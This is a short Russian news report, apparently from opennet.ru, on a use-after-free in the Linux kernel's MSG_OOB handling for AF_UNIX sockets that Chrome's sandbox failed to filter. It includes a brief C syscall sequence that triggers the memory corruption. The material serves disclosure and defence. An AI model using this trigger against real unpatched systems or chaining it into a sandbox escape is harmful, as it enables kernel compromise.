Уязвимость вызвана ошибкой в реализации флага MSG_OOB, который можно выставить для сокетов AF_UNIX. Флаг MSG_OOB ("out-of-band") позволяет прикрепить дополнительный байт к отправляемым данным, который получатель может прочитать до получения остальных данных. Данный флаг был добавлен в ядре Linux 5.15 по запросу Oracle и в прошлом году предлагался для перевода в разряд устаревших, как не получивший широкого распространения.
В реализации sandbox-окружения Chrome разрешены операции с UNIX-сокетами и системные вызовы send()/recv(), в которых флаг MSG_OOB допускался наряду c другими опциями и не был отдельно отфильтрован. Ошибка в реализации MSG_OOB позволяла добиться обращения к памяти после её освобождения (use-after-free) после выполнения определённой последовательности системных вызовов:
Код:
char dummy;
int socks[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, socks);
send(socks[1], "A", 1, MSG_OOB);
recv(socks[0], &dummy, 1, MSG_OOB);
send(socks[1], "A", 1, MSG_OOB);
recv(socks[0], &dummy, 1, MSG_OOB);
send(socks[1], "A", 1, MSG_OOB);
recv(socks[0], &dummy, 1, 0);
recv(socks[0], &dummy, 1, MSG_OOB);
Источник: https://www.opennet.ru/opennews/art.shtml?num=63710
(opennet.ru, основная лента)